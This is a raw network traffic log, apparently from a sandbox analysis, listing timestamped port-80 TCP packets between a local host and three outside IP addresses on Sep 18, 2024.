Sep 18, 2024 14:30:08.339067936 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339071989 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339082956 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339087963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339093924 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339097977 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339104891 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339117050 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339118958 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339128017 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339139938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339143038 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339150906 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339160919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339162111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339174032 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339179993 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339190006 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339201927 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339225054 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339487076 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339500904 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339512110 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339525938 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339538097 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339549065 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339560986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339571953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339571953 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339571953 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339585066 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339597940 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339610100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339617968 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.339622974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339631081 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.339641094 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.339644909 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339658976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339660883 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.339670897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339684010 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339693069 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339693069 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339694023 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339700937 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.339706898 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339719057 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339725971 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.339731932 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339735985 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339742899 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339754105 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339768887 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339772940 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339782000 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339793921 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339793921 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339795113 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339818001 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339829922 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339839935 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339839935 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339842081 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339854002 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339864016 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339871883 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339874029 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339886904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339889050 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339899063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339910984 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339915991 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339922905 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339932919 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.339935064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339950085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339952946 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.339962006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.339973927 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339978933 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.339993954 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340001106 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340008020 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340019941 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340030909 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340044022 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340044975 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340044975 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340055943 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340068102 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340087891 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340087891 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340109110 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340295076 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340307951 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340321064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340332031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340342045 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340344906 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340354919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340357065 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340368986 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340380907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340385914 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340398073 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340403080 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340419054 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340444088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340537071 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340550900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340562105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340573072 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340576887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340585947 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340590000 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340604067 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340605021 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340619087 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340620041 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340631962 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340635061 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340643883 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340656042 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340667963 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340671062 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340671062 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340679884 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340693951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340704918 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340715885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340723038 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340723038 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340728998 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340739965 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340751886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340760946 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340764999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340773106 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340780020 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340780020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340794086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.340795040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340816021 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340841055 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.340912104 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340924025 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340935946 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340945959 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340956926 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340960026 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340960979 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340970039 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340981960 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.340989113 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.340996027 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341028929 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341028929 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341042995 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341054916 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341073036 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341084003 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341090918 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341095924 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341109037 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341116905 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341116905 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341121912 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341135025 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341161966 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341161966 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341172934 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341204882 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341204882 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341207981 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341222048 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341257095 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341257095 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341320038 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341331005 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.341358900 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.341377020 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.373605013 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.373631001 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.373641968 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.373780966 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.373792887 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.373805046 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.373837948 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.373903990 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.415709972 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.415822983 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.415833950 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.415847063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.415858030 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.415869951 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.415883064 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.415894985 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.415906906 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.415919065 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.415951014 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.415987968 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.416222095 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.416264057 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.416271925 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.416284084 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.416309118 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.416326046 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.416620970 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.416670084 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.416676998 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.416687965 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.416708946 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.416727066 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.416738987 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.416750908 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.416762114 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.416779995 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.416805983 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.417118073 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.417129993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.417141914 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.417160988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.417165041 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.417172909 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.417185068 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.417193890 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.417196989 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.417216063 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.417233944 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.417252064 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.417262077 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.417274952 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.417293072 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.417320967 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.418128967 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418148041 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418168068 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418179035 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418178082 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.418190002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418201923 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418205976 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.418212891 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418225050 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418232918 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.418236971 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418255091 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.418275118 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.418935061 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418947935 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418965101 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418977022 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.418988943 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419001102 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419002056 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.419028997 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.419044971 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.419045925 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419058084 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419068098 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419079065 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419081926 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.419105053 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.419131994 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.419776917 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419819117 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419822931 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.419832945 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419857025 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.419872999 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.419912100 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419924974 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419936895 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419949055 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.419954062 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.419982910 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.420053959 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.420066118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.420078039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.420089960 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420099974 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.420100927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420114040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420125008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420130014 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.420136929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420139074 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420149088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420171976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420171976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420181990 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420195103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420195103 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420219898 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420243979 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420353889 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420367956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420387030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420392990 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420398951 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420412064 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420413017 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420425892 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420428991 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420439959 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420458078 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420463085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420471907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420481920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420485973 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420500994 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420511007 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420519114 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420531988 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420541048 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420552969 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420558929 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420566082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420578003 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420588017 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420588970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420603037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420617104 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420620918 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420629978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420641899 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420644045 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420655966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420664072 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420667887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.420687914 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420701027 CEST	80	49705	103.130.147.211	192.168.2.7
